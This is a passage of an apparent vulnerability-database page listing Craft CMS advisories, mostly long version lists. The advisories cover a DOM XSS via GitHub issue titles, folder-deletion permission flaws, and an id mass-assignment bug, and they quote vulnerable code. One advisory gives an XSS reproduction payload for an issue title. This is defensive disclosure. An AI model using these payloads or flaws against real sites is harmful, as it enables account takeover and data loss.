            5.1.0


            5.1.1


            5.1.10


            5.1.2


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          4.18.0


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55790 GHSA-24x4-j6x9-rfw5 Jul 06, 2026

Craft CMS: DOM XSS via GitHub issue title in CraftSupport widget

High

Network Low None

Summary

An attacker with only a GitHub account can plant a JavaScript payload in a craftcms/cms issue title. When a Craft admin uses the CraftSupport widget’s "Give feedback" screen and types a search term that returns the poisoned issue, the payload executes in the admin’s control panel session.

No control panel account or elevated privileges are required on the attacker’s side.

Preconditions

Attacker has a GitHub account (no control panel access needed).
Victim is an administrator, and you have the CraftSupport widget on the dashboard.
Victim uses the "Give feedback" screen and types a search term that returns the poisoned issue.

Root cause

CraftSupportWidget.js lines 382-392:

$('<a>', {
  href: this.getSearchResultUrl(results[i]),
  target: '_blank',
  html:
    '<span class="status ' +
    this.getSearchResultStatus(results[i]) +
    '"></span>' +
    this.getSearchResultText(results[i]),
})

FeedbackScreen.getSearchResultText (line 669-671) returns result.title verbatim from the GitHub API response. The jQuery html: option sets the element’s innerHTML, so a title containing <img src=x onerror=...> executes immediately on render.

The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50282 GHSA-3w32-23wj-rxg3 Jul 02, 2026

Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves

High

Network Low Low None

We have identified an authorization issue in Craft CMS where a forced folder move can delete a conflicting destination folder without destination delete permission.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionMoveFolder() supports moving an asset folder into a destination parent folder. If a folder with the same name already exists at the destination, the action can be called with force=true to overwrite the destination.

The permission checks for this action allow:

deleteAssets:<sourceVolumeUid> for the folder being moved
createFolders:<destVolumeUid> for the destination parent folder
saveAssets:<destVolumeUid> for the destination parent folder

The action does not require deleteAssets on the destination volume or destination conflict folder. When force=true and a name conflict exists, the code deletes the destination folder to resolve the conflict.

$this->requireVolumePermissionByFolder('deleteAssets', $folderToMove);
$this->requireVolumePermissionByFolder('createFolders', $destinationFolder);
$this->requireVolumePermissionByFolder('saveAssets', $destinationFolder);

src/controllers/AssetsController.php:L751-L753

Indexed destination conflicts are deleted via the Assets service:

$assets->deleteFoldersByIds($existingFolder->id);

src/controllers/AssetsController.php:L798-L798

Unindexed destination conflicts are deleted directly in the volume filesystem:

$targetVolume->deleteDirectory(rtrim($destinationFolder->path, '/') . '/' . $folderToMove->name);

src/controllers/AssetsController.php:L815

Impact

A user who cannot delete assets in a destination volume can still delete a destination folder and its contents by triggering a forced move into a conflicting name. This can cause asset loss, broken references in entries and fields that point to deleted assets, and operational disruption.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50281 GHSA-x5m4-g2cq-52pq Jul 02, 2026

Craft CMS's mass assignment via id in newAttributes during bulk duplicate overwrites existing elements

High

Network Low Low None

Summary

There is a mass-assignment flaw in the bulk-duplicate element action. Alice, holding only the permission to duplicate an entry she owns, submits an arbitrary id through the newAttributes request parameter. The duplication routine overrides its own id = null reset with that value and writes Alice’s attributes into Bob’s existing entry row.

Details

ElementsController::beforeAction() (src/controllers/ElementsController.php:119-124) pulls the request body into $this->_attributes and rejects requests that ship an id or canonicalId key at the top level:

$this->_attributes = $this->request->getBodyParams();

// No funny business
if (isset($this->_attributes['id']) || isset($this->_attributes['canonicalId'])) {
    throw new BadRequestHttpException('Changing an element’s ID is not allowed.');
}

The check inspects only the top-level payload. actionBulkDuplicate() (src/controllers/ElementsController.php:1708-1749) reads a separate newAttributes array and passes it straight through to the service layer:

$elementInfo = $this->request->getRequiredBodyParam('elements');
$newAttributes = $this->request->getRequiredBodyParam('newAttributes');
...
$safeNewAttributes = Collection::make($newAttributes)
    ->only($element->safeAttributes())
    ->all();
...
$newElement = $elementsService->duplicateElement(
    $element,
    $safeNewAttributes + $element::baseBulkDuplicateAttributes(),
    false,
    checkAuthorization: true,
);

Elements::duplicateElement() (src/services/Elements.php:1814-1840) clones the source element, sets id to null, and then hands the attacker's array to Craft::configure():

$mainClone = clone $element;
$mainClone->id = null;
$mainClone->uid = StringHelper::UUID();
...
Craft::configure($mainClone, ArrayHelper::merge(
    $newAttributes,
    $siteAttributes[$mainClone->siteId] ?? [],
));

Craft::configure() overwrites the reset id with any numeric value inside $newAttributes. Yii's saveElement() then performs an UPDATE against the row with that primary key instead of an INSERT. Alice's title, slug, authorId, postDate, and UID land on Bob’s entry.

safeAttributes() on Entry includes id because the base element model exposes it, so the Collection::only() filter does not strip it.

Impact

A low-privileged author overwrites any other element (entries, categories, users that share the Entry element table inheritance) by predicting or enumerating element IDs. Content integrity on the entire install breaks. The attack requires only the ability to duplicate one entry Alice already owns.

Affected versions


          5.7.0


          5.7.1


          5.7.1.1


          5.7.10


          5.7.11


          5.7.2


          5.7.3


          5.7.4


          5.7.5


          5.7.6


          5.7.7


          5.7.8

+ 52 more


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


